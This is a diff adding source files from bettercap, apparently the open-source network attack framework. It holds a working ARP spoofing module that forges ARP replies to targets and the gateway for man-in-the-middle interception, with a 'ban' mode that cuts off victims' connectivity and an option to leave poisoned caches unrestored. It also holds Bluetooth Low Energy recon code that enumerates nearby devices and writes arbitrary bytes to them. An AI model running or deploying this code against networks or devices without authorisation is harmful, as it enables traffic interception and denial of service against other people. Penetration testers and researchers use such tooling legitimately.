+	waitGroup   *sync.WaitGroup
+}
+
+func NewArpSpoofer(s *session.Session) *ArpSpoofer {
+	mod := &ArpSpoofer{
+		SessionModule: session.NewSessionModule("arp.spoof", s),
+		addresses:     make([]net.IP, 0),
+		macs:          make([]net.HardwareAddr, 0),
+		wAddresses:    make([]net.IP, 0),
+		wMacs:         make([]net.HardwareAddr, 0),
+		ban:           false,
+		internal:      false,
+		fullDuplex:    false,
+		skipRestore:   false,
+		waitGroup:     &sync.WaitGroup{},
+	}
+
+	mod.SessionModule.Requires("net.recon")
+
+	mod.AddParam(session.NewStringParameter("arp.spoof.targets", session.ParamSubnet, "", "Comma separated list of IP addresses, MAC addresses or aliases to spoof, also supports nmap style IP ranges."))
+
+	mod.AddParam(session.NewStringParameter("arp.spoof.whitelist", "", "", "Comma separated list of IP addresses, MAC addresses or aliases to skip while spoofing."))
+
+	mod.AddParam(session.NewBoolParameter("arp.spoof.internal",
+		"false",
+		"If true, local connections among computers of the network will be spoofed, otherwise only connections going to and coming from the external network."))
+
+	mod.AddParam(session.NewBoolParameter("arp.spoof.fullduplex",
+		"false",
+		"If true, both the targets and the gateway will be attacked, otherwise only the target (if the router has ARP spoofing protections in place this will make the attack fail)."))
+
+	noRestore := session.NewBoolParameter("arp.spoof.skip_restore",
+		"false",
+		"If set to true, targets arp cache won't be restored when spoofing is stopped.")
+
+	mod.AddObservableParam(noRestore, func(v string) {
+		if strings.ToLower(v) == "true" || v == "1" {
+			mod.skipRestore = true
+			mod.Warning("arp cache restoration after spoofing disabled")
+		} else {
+			mod.skipRestore = false
+			mod.Debug("arp cache restoration after spoofing enabled")
+		}
+	})
+
+	mod.AddHandler(session.NewModuleHandler("arp.spoof on", "",
+		"Start ARP spoofer.",
+		func(args []string) error {
+			return mod.Start()
+		}))
+
+	mod.AddHandler(session.NewModuleHandler("arp.ban on", "",
+		"Start ARP spoofer in ban mode, meaning the target(s) connectivity will not work.",
+		func(args []string) error {
+			mod.ban = true
+			return mod.Start()
+		}))
+
+	mod.AddHandler(session.NewModuleHandler("arp.spoof off", "",
+		"Stop ARP spoofer.",
+		func(args []string) error {
+			return mod.Stop()
+		}))
+
+	mod.AddHandler(session.NewModuleHandler("arp.ban off", "",
+		"Stop ARP spoofer.",
+		func(args []string) error {
+			return mod.Stop()
+		}))
+
+	return mod
+}
+
+func (mod ArpSpoofer) Name() string {
+	return "arp.spoof"
+}
+
+func (mod ArpSpoofer) Description() string {
+	return "Keep spoofing selected hosts on the network."
+}
+
+func (mod ArpSpoofer) Author() string {
+	return "Simone Margaritelli <evilsocket@gmail.com>"
+}
+
+func (mod *ArpSpoofer) Configure() error {
+	var err error
+	var targets string
+	var whitelist string
+
+	if err, mod.fullDuplex = mod.BoolParam("arp.spoof.fullduplex"); err != nil {
+		return err
+	} else if err, mod.internal = mod.BoolParam("arp.spoof.internal"); err != nil {
+		return err
+	} else if err, targets = mod.StringParam("arp.spoof.targets"); err != nil {
+		return err
+	} else if err, whitelist = mod.StringParam("arp.spoof.whitelist"); err != nil {
+		return err
+	} else if mod.addresses, mod.macs, err = network.ParseTargets(targets, mod.Session.Lan.Aliases()); err != nil {
+		return err
+	} else if mod.wAddresses, mod.wMacs, err = network.ParseTargets(whitelist, mod.Session.Lan.Aliases()); err != nil {
+		return err
+	}
+
+	mod.Debug(" addresses=%v macs=%v whitelisted-addresses=%v whitelisted-macs=%v", mod.addresses, mod.macs, mod.wAddresses, mod.wMacs)
+
+	if mod.ban {
+		mod.Warning("running in ban mode, forwarding not enabled!")
+		mod.Session.Firewall.EnableForwarding(false)
+	} else if !mod.Session.Firewall.IsForwardingEnabled() {
+		mod.Info("enabling forwarding")
+		mod.Session.Firewall.EnableForwarding(true)
+	}
+
+	return nil
+}
+
+func (mod *ArpSpoofer) Start() error {
+	if err := mod.Configure(); err != nil {
+		return err
+	}
+
+	nTargets := len(mod.addresses) + len(mod.macs)
+	if nTargets == 0 {
+		mod.Warning("list of targets is empty, module not starting.")
+		return nil
+	}
+
+	return mod.SetRunning(true, func() {
+		neighbours := []net.IP{}
+
+		if mod.internal {
+			list, _ := iprange.ParseList(mod.Session.Interface.CIDR())
+			neighbours = list.Expand()
+			nNeigh := len(neighbours) - 2
+
+			mod.Warning("arp spoofer started targeting %d possible network neighbours of %d targets.", nNeigh, nTargets)
+		} else {
+			mod.Info("arp spoofer started, probing %d targets.", nTargets)
+		}
+
+		if mod.fullDuplex {
+			mod.Warning("full duplex spoofing enabled, if the router has ARP spoofing mechanisms, the attack will fail.")
+		}
+
+		mod.waitGroup.Add(1)
+		defer mod.waitGroup.Done()
+
+		gwIP := mod.Session.Gateway.IP
+		myMAC := mod.Session.Interface.HW
+		for mod.Running() {
+			mod.arpSpoofTargets(gwIP, myMAC, true, false)
+			for _, address := range neighbours {
+				if !mod.Session.Skip(address) {
+					mod.arpSpoofTargets(address, myMAC, true, false)
+				}
+			}
+
+			time.Sleep(1 * time.Second)
+		}
+	})
+}
+
+func (mod *ArpSpoofer) unSpoof() error {
+	if !mod.skipRestore {
+		nTargets := len(mod.addresses) + len(mod.macs)
+		mod.Info("restoring ARP cache of %d targets.", nTargets)
+		mod.arpSpoofTargets(mod.Session.Gateway.IP, mod.Session.Gateway.HW, false, false)
+
+		if mod.internal {
+			list, _ := iprange.ParseList(mod.Session.Interface.CIDR())
+			neighbours := list.Expand()
+			for _, address := range neighbours {
+				if !mod.Session.Skip(address) {
+					if realMAC, err := mod.Session.FindMAC(address, false); err == nil {
+						mod.arpSpoofTargets(address, realMAC, false, false)
+					}
+				}
+			}
+		}
+	} else {
+		mod.Warning("arp cache restoration is disabled")
+	}
+
+	return nil
+}
+
+func (mod *ArpSpoofer) Stop() error {
+	return mod.SetRunning(false, func() {
+		mod.Info("waiting for ARP spoofer to stop ...")
+		mod.unSpoof()
+		mod.ban = false
+		mod.waitGroup.Wait()
+	})
+}
+
+func (mod *ArpSpoofer) isWhitelisted(ip string, mac net.HardwareAddr) bool {
+	for _, addr := range mod.wAddresses {
+		if ip == addr.String() {
+			return true
+		}
+	}
+
+	for _, hw := range mod.wMacs {
+		if bytes.Equal(hw, mac) {
+			return true
+		}
+	}
+
+	return false
+}
+
+func (mod *ArpSpoofer) getTargets(probe bool) map[string]net.HardwareAddr {
+	targets := make(map[string]net.HardwareAddr)
+
+	// add targets specified by IP address
+	for _, ip := range mod.addresses {
+		if mod.Session.Skip(ip) {
+			continue
+		}
+		// do we have this ip mac address?
+		if hw, err := mod.Session.FindMAC(ip, probe); err == nil {
+			targets[ip.String()] = hw
+		}
+	}
+	// add targets specified by MAC address
+	for _, hw := range mod.macs {
+		if ip, err := network.ArpInverseLookup(mod.Session.Interface.Name(), hw.String(), false); err == nil {
+			if mod.Session.Skip(net.ParseIP(ip)) {
+				continue
+			}
+			targets[ip] = hw
+		}
+	}
+
+	return targets
+}
+
+func (mod *ArpSpoofer) arpSpoofTargets(saddr net.IP, smac net.HardwareAddr, check_running bool, probe bool) {
+	mod.waitGroup.Add(1)
+	defer mod.waitGroup.Done()
+
+	gwIP := mod.Session.Gateway.IP
+	gwHW := mod.Session.Gateway.HW
+	ourHW := mod.Session.Interface.HW
+	isGW := false
+	isSpoofing := false
+
+	// are we spoofing the gateway IP?
+	if net.IP.Equal(saddr, gwIP) {
+		isGW = true
+		// are we restoring the original MAC of the gateway?
+		if !bytes.Equal(smac, gwHW) {
+			isSpoofing = true
+		}
+	}
+
+	if targets := mod.getTargets(probe); len(targets) == 0 {
+		mod.Warning("could not find spoof targets")
+	} else {
+		for ip, mac := range targets {
+			if check_running && !mod.Running() {
+				return
+			} else if mod.isWhitelisted(ip, mac) {
+				mod.Debug("%s (%s) is whitelisted, skipping from spoofing loop.", ip, mac)
+				continue
+			} else if saddr.String() == ip {
+				continue
+			}
+
+			rawIP := net.ParseIP(ip)
+			if err, pkt := packets.NewARPReply(saddr, smac, rawIP, mac); err != nil {
+				mod.Error("error while creating ARP spoof packet for %s: %s", ip, err)
+			} else {
+				mod.Debug("sending %d bytes of ARP packet to %s:%s.", len(pkt), ip, mac.String())
+				mod.Session.Queue.Send(pkt)
+			}
+
+			if mod.fullDuplex && isGW {
+				err := error(nil)
+				gwPacket := []byte(nil)
+
+				if isSpoofing {
+					mod.Debug("telling the gw we are %s", ip)
+					// we told the target we're te gateway, not let's tell the
+					// gateway that we are the target
+					if err, gwPacket = packets.NewARPReply(rawIP, ourHW, gwIP, gwHW); err != nil {
+						mod.Error("error while creating ARP spoof packet: %s", err)
+					}
+				} else {
+					mod.Debug("telling the gw %s is %s", ip, mac)
+					// send the gateway the original MAC of the target
+					if err, gwPacket = packets.NewARPReply(rawIP, mac, gwIP, gwHW); err != nil {
+						mod.Error("error while creating ARP spoof packet: %s", err)
+					}
+				}
+
+				if gwPacket != nil {
+					mod.Debug("sending %d bytes of ARP packet to the gateway", len(gwPacket))
+					if err = mod.Session.Queue.Send(gwPacket); err != nil {
+						mod.Error("error while sending packet: %v", err)
+					}
+				}
+			}
+		}
+	}
+}

+ 17 - 0
bettercap/modules/ble/ble_options_darwin.go

@@ -0,0 +1,17 @@
+package ble
+
+import (
+	"github.com/bettercap/gatt"
+)
+
+var defaultBLEClientOptions = []gatt.Option{
+	gatt.MacDeviceRole(gatt.CentralManager),
+}
+
+/*
+
+var defaultBLEServerOptions = []gatt.Option{
+	gatt.MacDeviceRole(gatt.PeripheralManager),
+}
+
+*/

+ 25 - 0
bettercap/modules/ble/ble_options_linux.go

@@ -0,0 +1,25 @@
+package ble
+
+import (
+	"github.com/bettercap/gatt"
+	// "github.com/bettercap/gatt/linux/cmd"
+)
+
+var defaultBLEClientOptions = []gatt.Option{
+	gatt.LnxMaxConnections(255),
+	gatt.LnxDeviceID(-1, true),
+}
+
+/*
+
+var defaultBLEServerOptions = []gatt.Option{
+	gatt.LnxMaxConnections(255),
+	gatt.LnxDeviceID(-1, true),
+	gatt.LnxSetAdvertisingParameters(&cmd.LESetAdvertisingParameters{
+		AdvertisingIntervalMin: 0x00f4,
+		AdvertisingIntervalMax: 0x00f4,
+		AdvertisingChannelMap:  0x7,
+	}),
+}
+
+*/

+ 287 - 0
bettercap/modules/ble/ble_recon.go

@@ -0,0 +1,287 @@
+// +build !windows
+
+package ble
+
+import (
+	"encoding/hex"
+	"fmt"
+	golog "log"
+	"time"
+
+	"github.com/bettercap/bettercap/modules/utils"
+	"github.com/bettercap/bettercap/network"
+	"github.com/bettercap/bettercap/session"
+
+	"github.com/bettercap/gatt"
+
+	"github.com/evilsocket/islazy/str"
+)
+
+type BLERecon struct {
+	session.SessionModule
+	deviceId    int
+	gattDevice  gatt.Device
+	currDevice  *network.BLEDevice
+	writeUUID   *gatt.UUID
+	writeData   []byte
+	connected   bool
+	connTimeout int
+	devTTL      int
+	quit        chan bool
+	done        chan bool
+	selector    *utils.ViewSelector
+}
+
+func NewBLERecon(s *session.Session) *BLERecon {
+	mod := &BLERecon{
+		SessionModule: session.NewSessionModule("ble.recon", s),
+		deviceId:      -1,
+		gattDevice:    nil,
+		quit:          make(chan bool),
+		done:          make(chan bool),
+		connTimeout:   5,
+		devTTL:        30,
+		currDevice:    nil,
+		connected:     false,
+	}
+
+	mod.InitState("scanning")
+
+	mod.selector = utils.ViewSelectorFor(&mod.SessionModule,
+		"ble.show",
+		[]string{"rssi", "mac", "seen"}, "rssi asc")
+
+	mod.AddHandler(session.NewModuleHandler("ble.recon on", "",
+		"Start Bluetooth Low Energy devices discovery.",
+		func(args []string) error {
+			return mod.Start()
+		}))
+
+	mod.AddHandler(session.NewModuleHandler("ble.recon off", "",
+		"Stop Bluetooth Low Energy devices discovery.",
+		func(args []string) error {
+			return mod.Stop()
+		}))
+
+	mod.AddHandler(session.NewModuleHandler("ble.clear", "",
+		"Clear all devices collected by the BLE discovery module.",
+		func(args []string) error {
+			mod.Session.BLE.Clear()
+			return nil
+		}))
+
+	mod.AddHandler(session.NewModuleHandler("ble.show", "",
+		"Show discovered Bluetooth Low Energy devices.",
+		func(args []string) error {
+			return mod.Show()
+		}))
+
+	enum := session.NewModuleHandler("ble.enum MAC", "ble.enum "+network.BLEMacValidator,
+		"Enumerate services and characteristics for the given BLE device.",
+		func(args []string) error {
+			if mod.isEnumerating() {
+				return fmt.Errorf("An enumeration for %s is already running, please wait.", mod.currDevice.Device.ID())
+			}
+
+			mod.writeData = nil
+			mod.writeUUID = nil
+
+			return mod.enumAllTheThings(network.NormalizeMac(args[0]))
+		})
+
+	enum.Complete("ble.enum", s.BLECompleter)
+
+	mod.AddHandler(enum)
+
+	write := session.NewModuleHandler("ble.write MAC UUID HEX_DATA", "ble.write "+network.BLEMacValidator+" ([a-fA-F0-9]+) ([a-fA-F0-9]+)",
+		"Write the HEX_DATA buffer to the BLE device with the specified MAC address, to the characteristics with the given UUID.",
+		func(args []string) error {
+			mac := network.NormalizeMac(args[0])
+			uuid, err := gatt.ParseUUID(args[1])
+			if err != nil {
+				return fmt.Errorf("Error parsing %s: %s", args[1], err)
+			}
+			data, err := hex.DecodeString(args[2])
+			if err != nil {
+				return fmt.Errorf("Error parsing %s: %s", args[2], err)
+			}
+
+			return mod.writeBuffer(mac, uuid, data)
+		})
+
+	write.Complete("ble.write", s.BLECompleter)
+
+	mod.AddHandler(write)
+
+	mod.AddParam(session.NewIntParameter("ble.device",
+		fmt.Sprintf("%d", mod.deviceId),
+		"Index of the HCI device to use, -1 to autodetect."))
+
+	mod.AddParam(session.NewIntParameter("ble.timeout",
+		fmt.Sprintf("%d", mod.connTimeout),
+		"Connection timeout in seconds."))
+
+	mod.AddParam(session.NewIntParameter("ble.ttl",
+		fmt.Sprintf("%d", mod.devTTL),
+		"Seconds of inactivity for a device to be pruned."))
+
+	return mod
+}
+
+func (mod BLERecon) Name() string {
+	return "ble.recon"
+}
+
+func (mod BLERecon) Description() string {
+	return "Bluetooth Low Energy devices discovery."
+}
+
+func (mod BLERecon) Author() string {
+	return "Simone Margaritelli <evilsocket@gmail.com>"
+}
+
+func (mod *BLERecon) isEnumerating() bool {
+	return mod.currDevice != nil
+}
+
+type dummyWriter struct {
+	mod *BLERecon
+}
+
+func (w dummyWriter) Write(p []byte) (n int, err error) {
+	w.mod.Debug("[gatt.log] %s", str.Trim(string(p)))
+	return len(p), nil
+}
+
+func (mod *BLERecon) Configure() (err error) {
+	if mod.Running() {
+		return session.ErrAlreadyStarted(mod.Name())
+	} else if mod.gattDevice == nil {
+		if err, mod.deviceId = mod.IntParam("ble.device"); err != nil {
+			return err
+		}
+
+		mod.Debug("initializing device (id:%d) ...", mod.deviceId)
+
+		golog.SetFlags(0)
+		golog.SetOutput(dummyWriter{mod})
+
+		if mod.gattDevice, err = gatt.NewDevice(defaultBLEClientOptions...); err != nil {
+			mod.Debug("error while creating new gatt device: %v", err)
+			return err
+		}
+
+		mod.gattDevice.Handle(
+			gatt.PeripheralDiscovered(mod.onPeriphDiscovered),
+			gatt.PeripheralConnected(mod.onPeriphConnected),
+			gatt.PeripheralDisconnected(mod.onPeriphDisconnected),
+		)
+
+		mod.gattDevice.Init(mod.onStateChanged)
+	}
+
+	if err, mod.connTimeout = mod.IntParam("ble.timeout"); err != nil {
+		return err
+	} else if err, mod.devTTL = mod.IntParam("ble.ttl"); err != nil {
+		return err
+	}
+
+	return nil
+}
+
+func (mod *BLERecon) Start() error {
+	if err := mod.Configure(); err != nil {
+		return err
+	}
+
+	return mod.SetRunning(true, func() {
+		go mod.pruner()
+
+		<-mod.quit
+
+		if mod.gattDevice != nil {
+			mod.Info("stopping scan ...")
+
+			if mod.currDevice != nil && mod.currDevice.Device != nil {
+				mod.Debug("resetting connection with %v", mod.currDevice.Device)
+				mod.gattDevice.CancelConnection(mod.currDevice.Device)
+			}
+
+			mod.Debug("stopping device")
+			if err := mod.gattDevice.Stop(); err != nil {
+				mod.Warning("error while stopping device: %v", err)
+			} else {
+				mod.Debug("gatt device closed")
+			}
+		}
+
+		mod.done <- true
+	})
+}
+
+func (mod *BLERecon) Stop() error {
+	return mod.SetRunning(false, func() {
+		mod.quit <- true
+		<-mod.done
+		mod.Debug("module stopped, cleaning state")
+		mod.gattDevice = nil
+		mod.setCurrentDevice(nil)
+		mod.ResetState()
+	})
+}
+
+func (mod *BLERecon) pruner() {
+	blePresentInterval := time.Duration(mod.devTTL) * time.Second
+	mod.Debug("started devices pruner with ttl %s", blePresentInterval)
+
+	for mod.Running() {
+		for _, dev := range mod.Session.BLE.Devices() {
+			if time.Since(dev.LastSeen) > blePresentInterval {
+				mod.Session.BLE.Remove(dev.Device.ID())
+			}
+		}
+
+		time.Sleep(5 * time.Second)
+	}
+}
+
+func (mod *BLERecon) setCurrentDevice(dev *network.BLEDevice) {
+	mod.connected = false
+	mod.currDevice = dev
+	mod.State.Store("scanning", dev)
+}
+
+func (mod *BLERecon) writeBuffer(mac string, uuid gatt.UUID, data []byte) error {
+	mod.writeUUID = &uuid
+	mod.writeData = data
+	return mod.enumAllTheThings(mac)
+}
+
+func (mod *BLERecon) enumAllTheThings(mac string) error {
+	dev, found := mod.Session.BLE.Get(mac)
+	if !found || dev == nil {
+		return fmt.Errorf("BLE device with address %s not found.", mac)
+	} else if mod.Running() {
+		mod.gattDevice.StopScanning()
+	}
+
+	mod.setCurrentDevice(dev)
+	if err := mod.Configure(); err != nil && err.Error() != session.ErrAlreadyStarted("ble.recon").Error() {
+		return err
+	}
+
+	mod.Info("connecting to %s ...", mac)
+
+	go func() {
+		time.Sleep(time.Duration(mod.connTimeout) * time.Second)
+		if mod.isEnumerating() && !mod.connected {
+			mod.Warning("connection timeout")
+			mod.Session.Events.Add("ble.connection.timeout", mod.currDevice)
+			mod.onPeriphDisconnected(nil, nil)
+		}
+	}()
+
+	mod.gattDevice.Connect(dev.Device)
+
+	return nil
+}

+ 76 - 0
bettercap/modules/ble/ble_recon_events.go

@@ -0,0 +1,76 @@
+// +build !windows
+
+package ble
+
+import (
+	"github.com/bettercap/gatt"
+)
+
+func (mod *BLERecon) onStateChanged(dev gatt.Device, s gatt.State) {
+	mod.Debug("state changed to %v", s)
+
+	switch s {
+	case gatt.StatePoweredOn:
+		if mod.currDevice == nil {
+			mod.Debug("starting discovery ...")
+			dev.Scan([]gatt.UUID{}, true)
+		} else {
+			mod.Debug("current device was not cleaned: %v", mod.currDevice)
+		}
+	case gatt.StatePoweredOff:
+		mod.Debug("resetting device instance")
+		mod.gattDevice.StopScanning()
+		mod.setCurrentDevice(nil)
+		mod.gattDevice = nil
+
+	default:
+		mod.Warning("unexpected state: %v", s)
+	}
+}
+
+func (mod *BLERecon) onPeriphDiscovered(p gatt.Peripheral, a *gatt.Advertisement, rssi int) {
+	mod.Session.BLE.AddIfNew(p.ID(), p, a, rssi)
+}
+
+func (mod *BLERecon) onPeriphDisconnected(p gatt.Peripheral, err error) {
+	mod.Session.Events.Add("ble.device.disconnected", mod.currDevice)
+	mod.setCurrentDevice(nil)
+	if mod.Running() {
+		mod.Debug("device disconnected, restoring discovery.")
+		mod.gattDevice.Scan([]gatt.UUID{}, true)
+	}
+}
+
+func (mod *BLERecon) onPeriphConnected(p gatt.Peripheral, err error) {
+	if err != nil {
+		mod.Warning("connected to %s but with error: %s", p.ID(), err)
+		return
+	} else if mod.currDevice == nil {
+		mod.Warning("connected to %s but after the timeout :(", p.ID())
+		return
+	}
+
+	mod.connected = true
+
+	defer func(per gatt.Peripheral) {
+		mod.Debug("disconnecting from %s ...", per.ID())
+		per.Device().CancelConnection(per)
+		mod.setCurrentDevice(nil)
+	}(p)
+
+	mod.Session.Events.Add("ble.device.connected", mod.currDevice)
+
+	if err := p.SetMTU(500); err != nil {
+		mod.Warning("failed to set MTU: %s", err)
+	}
+
+	mod.Debug("connected, enumerating all the things for %s!", p.ID())
+	services, err := p.DiscoverServices(nil)
+	// https://github.com/bettercap/bettercap/issues/498
+	if err != nil && err.Error() != "success" {
+		mod.Error("error discovering services: %s", err)
+		return
+	}
+
+	mod.showServices(p, services)
+}

+ 153 - 0
bettercap/modules/ble/ble_show.go

@@ -0,0 +1,153 @@
+// +build !windows
+
+package ble
+
+import (
+	"sort"
+	"time"
+
+	"github.com/bettercap/bettercap/network"
+
+	"github.com/evilsocket/islazy/ops"
+	"github.com/evilsocket/islazy/tui"
+)
+
+var (
+	bleAliveInterval = time.Duration(5) * time.Second
+)
+
+func (mod *BLERecon) getRow(dev *network.BLEDevice, withName bool) []string {
+	rssi := network.ColorRSSI(dev.RSSI)
+	address := network.NormalizeMac(dev.Device.ID())
+	vendor := tui.Dim(ops.Ternary(dev.Vendor == "", dev.Advertisement.Company, dev.Vendor).(string))
+	isConnectable := ops.Ternary(dev.Advertisement.Connectable, tui.Green("✔"), tui.Red("✖")).(string)
+	sinceSeen := time.Since(dev.LastSeen)
+	lastSeen := dev.LastSeen.Format("15:04:05")
+
+	blePresentInterval := time.Duration(mod.devTTL) * time.Second
+	if sinceSeen <= bleAliveInterval {
+		lastSeen = tui.Bold(lastSeen)
+	} else if sinceSeen > blePresentInterval {
+		lastSeen = tui.Dim(lastSeen)
+		address = tui.Dim(address)
+	}
+
+	if withName {
+		return []string{
+			rssi,
+			address,
+			tui.Yellow(dev.Name()),
+			vendor,
+			dev.Advertisement.Flags.String(),
+			isConnectable,
+			lastSeen,
+		}
+	} else {
+		return []string{
+			rssi,
+			address,
+			vendor,
+			dev.Advertisement.Flags.String(),
+			isConnectable,
+			lastSeen,
+		}
+	}
+}
+
+func (mod *BLERecon) doFilter(dev *network.BLEDevice) bool {
+	if mod.selector.Expression == nil {
+		return true
+	}
+	return mod.selector.Expression.MatchString(dev.Device.ID()) ||
+		mod.selector.Expression.MatchString(dev.Device.Name()) ||
+		mod.selector.Expression.MatchString(dev.Vendor)
+}
+
+func (mod *BLERecon) doSelection() (devices []*network.BLEDevice, err error) {
+	if err = mod.selector.Update(); err != nil {
+		return
+	}
+
+	devices = mod.Session.BLE.Devices()
+	filtered := []*network.BLEDevice{}
+	for _, dev := range devices {
+		if mod.doFilter(dev) {
+			filtered = append(filtered, dev)
+		}
+	}
+	devices = filtered
+
+	switch mod.selector.SortField {
+	case "mac":
+		sort.Sort(ByBLEMacSorter(devices))
+	case "seen":
+		sort.Sort(ByBLESeenSorter(devices))
+	default:
+		sort.Sort(ByBLERSSISorter(devices))
+	}
+
+	// default is asc
+	if mod.selector.Sort == "desc" {
+		// from https://github.com/golang/go/wiki/SliceTricks
+		for i := len(devices)/2 - 1; i >= 0; i-- {
+			opp := len(devices) - 1 - i
+			devices[i], devices[opp] = devices[opp], devices[i]
+		}
+	}
+
+	if mod.selector.Limit > 0 {
+		limit := mod.selector.Limit
+		max := len(devices)
+		if limit > max {
+			limit = max
+		}
+		devices = devices[0:limit]
+	}
+
+	return
+}
+
+func (mod *BLERecon) colNames(withName bool) []string {
+	colNames := []string{"RSSI", "MAC", "Vendor", "Flags", "Connect", "Seen"}
+	seenIdx := 5
+	if withName {
+		colNames = []string{"RSSI", "MAC", "Name", "Vendor", "Flags", "Connect", "Seen"}
+		seenIdx = 6
+	}
+	switch mod.selector.SortField {
+	case "rssi":
+		colNames[0] += " " + mod.selector.SortSymbol
+	case "mac":
+		colNames[1] += " " + mod.selector.SortSymbol
+	case "seen":
+		colNames[seenIdx] += " " + mod.selector.SortSymbol
+	}
+	return colNames
+}
+
+func (mod *BLERecon) Show() error {
+	devices, err := mod.doSelection()
+	if err != nil {
+		return err
+	}
+
+	hasName := false
+	for _, dev := range devices {
+		if dev.Name() != "" {
+			hasName = true
+			break
+		}
+	}
+
+	rows := make([][]string, 0)
+	for _, dev := range devices {
+		rows = append(rows, mod.getRow(dev, hasName))
+	}
+
+	if len(rows) > 0 {
+		tui.Table(mod.Session.Events.Stdout, mod.colNames(hasName), rows)
+		mod.Session.Refresh()
+	}
+
+	return nil
+}

+ 411 - 0
bettercap/modules/ble/ble_show_services.go

@@ -0,0 +1,411 @@
+// +build !windows
+
+package ble
+
+import (
+	"encoding/binary"
+	"fmt"
+	"strconv"
+	"strings"
+
+	"github.com/bettercap/bettercap/network"
+	"github.com/bettercap/gatt"
+
+	"github.com/evilsocket/islazy/tui"
+)
+
+var appearances = map[uint16]string{
+	0:    "Unknown",
+	64:   "Generic Phone",
+	128:  "Generic Computer",
+	192:  "Generic Watch",
+	193:  "Watch: Sports Watch",
+	256:  "Generic Clock",
+	320:  "Generic Display",
+	384:  "Generic Remote Control",
+	448:  "Generic Eye-glasses",
+	512:  "Generic Tag",
+	576:  "Generic Keyring",
+	640:  "Generic Media Player",
+	704:  "Generic Barcode Scanner",
+	768:  "Generic Thermometer",
+	769:  "Thermometer: Ear",
+	832:  "Generic Heart rate Sensor",
+	833:  "Heart Rate Sensor: Heart Rate Belt",
+	896:  "Generic Blood Pressure",
+	897:  "Blood Pressure: Arm",
+	898:  "Blood Pressure: Wrist",
+	960:  "Human Interface Device (HID)",
+	961:  "Keyboard",
+	962:  "Mouse",
+	963:  "Joystick",
+	964:  "Gamepad",
+	965:  "Digitizer Tablet",
+	966:  "Card Reader",
+	967:  "Digital Pen",
+	968:  "Barcode Scanner",
+	1024: "Generic Glucose Meter",
+	1088: "Generic: Running Walking Sensor",
+	1089: "Running Walking Sensor: In-Shoe",
+	1090: "Running Walking Sensor: On-Shoe",
+	1091: "Running Walking Sensor: On-Hip",
+	1152: "Generic: Cycling",
+	1153: "Cycling: Cycling Computer",
+	1154: "Cycling: Speed Sensor",
+	1155: "Cycling: Cadence Sensor",
+	1156: "Cycling: Power Sensor",
+	1157: "Cycling: Speed and Cadence Sensor",
+	1216: "Generic Control Device",
+	1217: "Switch",
+	1218: "Multi-switch",
+	1219: "Button",
+	1220: "Slider",
+	1221: "Rotary",
+	1222: "Touch-panel",
+	1280: "Generic Network Device",
+	1281: "Access Point",
+	1344: "Generic Sensor",
+	1345: "Motion Sensor",
+	1346: "Air Quality Sensor",
+	1347: "Temperature Sensor",
+	1348: "Humidity Sensor",
+	1349: "Leak Sensor",
+	1350: "Smoke Sensor",
+	1351: "Occupancy Sensor",
+	1352: "Contact Sensor",
+	1353: "Carbon Monoxide Sensor",
+	1354: "Carbon Dioxide Sensor",
+	1355: "Ambient Light Sensor",
+	1356: "Energy Sensor",
+	1357: "Color Light Sensor",
+	1358: "Rain Sensor",
+	1359: "Fire Sensor",
+	1360: "Wind Sensor",
+	1361: "Proximity Sensor",
+	1362: "Multi-Sensor",
+	1408: "Generic Light Fixtures",
+	1409: "Wall Light",
+	1410: "Ceiling Light",
+	1411: "Floor Light",
+	1412: "Cabinet Light",
+	1413: "Desk Light",
+	1414: "Troffer Light",
+	1415: "Pendant Light",
+	1416: "In-ground Light",
+	1417: "Flood Light",
+	1418: "Underwater Light",
+	1419: "Bollard with Light",
+	1420: "Pathway Light",
+	1421: "Garden Light",
+	1422: "Pole-top Light",
+	1423: "Spotlight",
+	1424: "Linear Light",
+	1425: "Street Light",
+	1426: "Shelves Light",
+	1427: "High-bay / Low-bay Light",
+	1428: "Emergency Exit Light",
+	1472: "Generic Fan",
+	1473: "Ceiling Fan",
+	1474: "Axial Fan",
+	1475: "Exhaust Fan",
+	1476: "Pedestal Fan",
+	1477: "Desk Fan",
+	1478: "Wall Fan",
+	1536: "Generic HVAC",
+	1537: "Thermostat",
+	1600: "Generic Air Conditioning",
+	1664: "Generic Humidifier",
+	1728: "Generic Heating",
+	1729: "Radiator",
+	1730: "Boiler",
+	1731: "Heat Pump",
+	1732: "Infrared Heater",
+	1733: "Radiant Panel Heater",
+	1734: "Fan Heater",
+	1735: "Air Curtain",
+	1792: "Generic Access Control",
+	1793: "Access Door",
+	1794: "Garage Door",
+	1795: "Emergency Exit Door",
+	1796: "Access Lock",
+	1797: "Elevator",
+	1798: "Window",
+	1799: "Entrance Gate",
+	1856: "Generic Motorized Device",
+	1857: "Motorized Gate",
+	1858: "Awning",
+	1859: "Blinds or Shades",
+	1860: "Curtains",
+	1861: "Screen",
+	1920: "Generic Power Device",
+	1921: "Power Outlet",
+	1922: "Power Strip",
+	1923: "Plug",
+	1924: "Power Supply",
+	1925: "LED Driver",
+	1926: "Fluorescent Lamp Gear",
+	1927: "HID Lamp Gear",
+	1984: "Generic Light Source",
+	1985: "Incandescent Light Bulb",
+	1986: "LED Bulb",
+	1987: "HID Lamp",
+	1988: "Fluorescent Lamp",
+	1989: "LED Array",
+	1990: "Multi-Color LED Array",
+	3136: "Generic: Pulse Oximeter",
+	3137: "Fingertip",
+	3138: "Wrist Worn",
+	3200: "Generic: Weight Scale",
+	3264: "Generic",
+	3265: "Powered Wheelchair",
+	3266: "Mobility Scooter",
+	3328: "Generic",
+	5184: "Generic: Outdoor Sports Activity",
+	5185: "Location Display Device",
+	5186: "Location and Navigation Display Device",
+	5187: "Location Pod",
+	5188: "Location and Navigation Pod",
+}
+
+func parseProperties(ch *gatt.Characteristic) (props []string, isReadable bool, isWritable bool, withResponse bool) {
+	isReadable = false
+	isWritable = false
+	withResponse = false
+	props = make([]string, 0)
+	mask := ch.Properties()
+
+	if (mask & gatt.CharBroadcast) != 0 {
+		props = append(props, "BCAST")
+	}
+	if (mask & gatt.CharRead) != 0 {
+		isReadable = true
+		props = append(props, "READ")
+	}
+	if (mask&gatt.CharWriteNR) != 0 || (mask&gatt.CharWrite) != 0 {
+		props = append(props, tui.Bold("WRITE"))
+		isWritable = true
+		withResponse = (mask & gatt.CharWriteNR) == 0
+	}
+	if (mask & gatt.CharNotify) != 0 {
+		props = append(props, "NOTIFY")
+	}
+	if (mask & gatt.CharIndicate) != 0 {
+		props = append(props, "INDICATE")
+	}
+	if (mask & gatt.CharSignedWrite) != 0 {
+		props = append(props, tui.Yellow("SIGN WRITE"))
+		isWritable = true
+		withResponse = true
+	}
